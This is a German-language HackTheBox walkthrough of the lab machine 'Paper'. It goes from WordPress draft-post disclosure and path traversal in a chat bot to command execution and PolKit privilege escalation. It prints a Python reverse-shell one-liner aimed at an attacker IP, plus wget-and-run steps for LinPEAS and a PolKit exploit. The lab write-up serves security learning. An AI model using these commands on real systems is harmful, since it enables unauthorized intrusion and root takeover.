18. Jun 2022,
In diesem Walkthrough beschäftigen wir uns mit HTBs Paper. Diese Maschine ist als leicht eingestuft und spielt auf die Serie "The Office" an. Über eine Schwachstelle in WordPress, welche das Lesen von "Draft Posts" ermöglicht, finden wir eine "Rocket-Chat" Instanz. In diesem Chat treffen wir auf einen Bot, der Dateien lesen kann. Indem wir die Zugriffsmöglichkeit auf andere Verzeichnisse ausnutzen, lesen wir den Quellcode des Bots, entdecken eine Funktion, mithilfe derer wir in der Lage sind, Systembefehle auszuführen und eine Reverse-Shell zu erzeugen. Dort kommt dann ein 2021er CVE in PolKit ins Spiel, den wir ausnutzen.
Name | Paper |
---|---|
Veröffentlichungsdatum | 05.02.2022 |
Renteneintrittsdatum | 18.06.2022 |
Betriebssystem | Linux |
Punkte | 20 |
Schwierigkeitsgrad | Einfach |
Schöpfer | |
| |
|
nmap findet drei offene TCP Ports:
Es scheint, als liefe unter dem HTTP- und dem HTTPS-Port dieselbe Seite:
l0rd@attack-box$ sudo nmap -p- --min-rate 10000 10.10.11.143 -Pn Nmap scan report for 10.10.11.143 Host is up (0.071s latency). Not shown: 43669 filtered tcp ports (no-response), 21863 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 54.23 seconds l0rd@attack-box$ sudo nmap -p 22,80,443 -sCV 10.10.11.143 -Pn Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 10:47 CEST Nmap scan report for office.paper (10.10.11.143) Host is up (0.12s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA) | 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA) |_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 |_http-title: Blunder Tiffin Inc. – The best paper company in the elec... |_http-generator: WordPress 5.2.3 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 |_http-title: HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.97 seconds
Beide Ports zeigen lediglich eine Default-Installation:
Interessanterweise ist beim Aufruf des Ports 80/HTTP ein Nicht-Standard-Header zu finden, welcher einen Domain-Namen preisgibt:
Da wir den gefundenen Domain-Namen office.paper nicht ohne Weiteres aufrufen können, fügen wir diesen unserer /etc/hosts Datei hinzu.
Nun rufen wir office.paper über den Browser auf und treffen auf die Webseite einer Papierfirma, Blunder Tiffin Inc.:
Da Wappalyzer und der Footer der Webseite uns verraten, dass das dahinterstehende CMS WordPress ist, starten wir einen Scan der Seite mit WPScan. Um nach Schwachstellen zu suchen, muss man einen API-Token angeben, welchen man kostenlos bekommt, wenn man sich auf der Website von WPScan registriert.
Während der Scan läuft, schauen wir uns die Seite weiter an und finden einen Kommentar zu einem Beitrag, welcher einen wichtigen Hinweis enthält: Anscheinend hat der User namens Michael Drafts mit geheimem Inhalt erstellt, welche laut User Nick, vielleicht dem Sicherheitsbeauftragten, nicht sicher sind:
l0rd@attack-box$ wpscan --url http://office.paper --api-token xxxx -o scan/wpscan-office.paper.txt [ SNIP ] | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308 | - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ [ SNIP ]
Wie bereits erwähnt, scheint es Entwürfe zu geben, welche geheimen Inhalt enthalten. Der Ausgabe von WPScan zufolge existiert eine Schwachstelle in dieser WordPress-Version, welche uns ermöglicht, eben diesen geheimen Inhalt auszugeben.
Eine schnelle Google-Suche verrät uns, dass es ausreicht, der URL ?static =1 hinzuzufügen, um den geheimen Inhalt einzusehen. Diese Schwachstelle ist gelistet als CVE-2019-17671.
Also machen wir genau das und finden einen Registrierungslink für einen Mitarbeiterchat:
Um chat.office.paper aufrufen zu können, müssen wir diese URL erst in die /etc/hosts Datei einfügen:
l0rd@attack-box$ echo -n "10.10.11.143\tchat.office.paper" | sudo tee -a /etc/hosts
Rufen wir nun http://chat.office.paper/register/8aozr... auf, treffen wir auf das Registrierungsformular einer Rocket.Chat Instanz. Aufgrund mangelnder Alternativen registrieren wir uns.
Sehr schnell zu finden ist der #general Chat. In diesem Chat findet man nicht nur ein paar Witze, sondern auch Hinweise auf einen Bot namens recyclops:
Da wir recyclops Direktnachrichten schicken können, werden wir eben dies tun. Aber zuvor folgt noch eine kurze Übersicht über recyclops' Befehle:
Der Versuch, Kommandos zu injizieren, scheitert jedoch kläglich:
Der nächste Test gilt dem Versuch auf Verzeichnisse außerhalb des "Sales"-Ordners zuzugreifen. Wir versuchen durch die Eingabe von list ../../../ an das Root-Verzeichnis zu kommen. Dies funktioniert in der Tat. Somit ist bewiesen, dass die Limitierung des Zugriffes auf den "Sales"-Ordner nicht richtig umgesetzt wurde:
Da wir nun die Möglichkeit haben, alle für uns zugänglichen Ordner zu listen, machen wir uns auf die Suche nach dem Sourcecode des Bots. Diesen finden wir unter ../hubot.
Dort treffen wir auf ein interessantes Verzeichnis: scripts.
In run.js finden wir den Befehl, mit dem wir Systembefehle über recyclops ausführen lassen können:
Nur um sicherzugehen, dass diese Funktion aktiviert ist, führen wir den Befehl whoami aus und stellen fest, dass wir in der Tat in der Lage sind, Systembefehle auszuführen!
Nach dem Lesen dieses Writeups von 0xdf muss man hier hinzufügen, dass es außerdem möglich wäre, die ../hubot/.env Datei auszulesen, um die Zugangsdaten für einen SSH Zugang zu erhalten.
Nun ist es an der Zeit, uns eine Reverse Shell zu geben. Dazu starten wir unserem Terminal einen Listener mit nc: nc -nlvp 1337 und geben im Chat folgenden Befehl ein:
run python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.x.x",1337)); subprocess.call(["/bin/bash","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
Diese und weitere Payloads für Reverse Shells finden Sie im Reverse Shell Generator von Swissky.
Zeit, die User-Flagge (/home/dwight/user.txt) auszulesen!
Wenn wir in dieser Shell bleiben und uns keinen SSH Zugang verschaffen wollen, ist es sinnvoll, die Shell in eine "Fully interactive TTY" umzubauen, wenn wir nicht durch die Eingabe von Ctrl-C aus der Shell fliegen wollen ...
# In der Reverse Shell python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # Stoppt den netcat Listener # In der Shell unserer Attack-Box stty raw -echo fg # In der Reverse Shell reset # Wenn es heißt:"unknown terminal type" Terminal type? xterm-256color # Unsere Eingabe #wenn $SHELL != /bin/bash export SHELL=bash
LinPEAS von Carlos Polop ist ein Script, welches nach Schwachstellen, Fehlkonfigurationen und interessanten Dateien sucht.
Ich persönlich mag LinPEAS, weil es bekannte ausnutzbare Schwachstellen mit CVE ganz am Anfang auflistet. Allerdings gibt es immer so viel Output, dass sich das Speichern der Ausgabe in einer Datei wirklich lohnt.
Laden wir nun linpeas.sh von unserer Attack-Box auf die Opfermaschine herunter und führen das Script aus.
# In einer Shell unserer Attack-Box l0rd@attack-box$ python3 -m http.server 4444 # Auf der Opfermaschine dwight@opfer$ wget http://10.10.x.x:4444/linpeas.sh dwight@opfer$ chmod +x linpeas.sh dwight@opfer$ ./linpeas.sh | tee n1c3-70-kn0w.txt [ SNIP ] ╔══════════╣ CVEs Check Vulnerable to CVE-2021-3560 [ SNIP ]
Nach den ersten paar Sekunden sehen wir schon einen Treffer. Die Opfermaschine ist verwundbar!
Eine kurze Google-Suche zeigt, dass der Schöpfer von Paper in seinem GitHub Repository ein"Proof of Concept" (PoC) für die Schwachstelle CVE-2021-3560 zur Verfügung stellt.
Ebenda ist auch eine gute Erklärung zu finden, wie der Exploit funktioniert und der PoC zu benutzen ist.
Unser nächster Schritt ist also das GitHub Repository zu klonen und das poc.sh Skript hochzuladen und auszuführen.
# In der Attack-Box l0rd@attack-box$ git clone https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation.git l0rd@attack-box$ cd CVE-2021-3560-Polkit-Privilege-Esclation l0rd@attack-box$ python3 -m http.server 4444 # Auf der Opfermaschine dwight@opfer$ wget http://10.10.x.x:4444/poc.sh dwight@opfer$ chmod +x poc.sh dwight@opfer$ ./poc.sh -u=l0rd -p=test [ SNIP ] If the exploit ran successfully, then you can login using 'su - l0rd' and you can spawn a bash shell as root using 'sudo bash'
Da der Exploit zeitabhängig funktioniert, sind zwei Punkte zu beachten:
Nun ist es an der Zeit, die Root-Flagge (/root/root.txt) auszulesen!
dwight@opfer$ su - l0rd Password for l0rd: test l0rd@opfer[/home/dwight]$ sudo bash root@opfer[/home/dwight]# whoami root root@opfer[/home/dwight]# cat /root/root.txt 1f6c**************************** # Noch kurz aufräumen: root@opfer[/home/dwight]# rm - f linpeas.sh poc.sh n1c3-70-kn0w.txt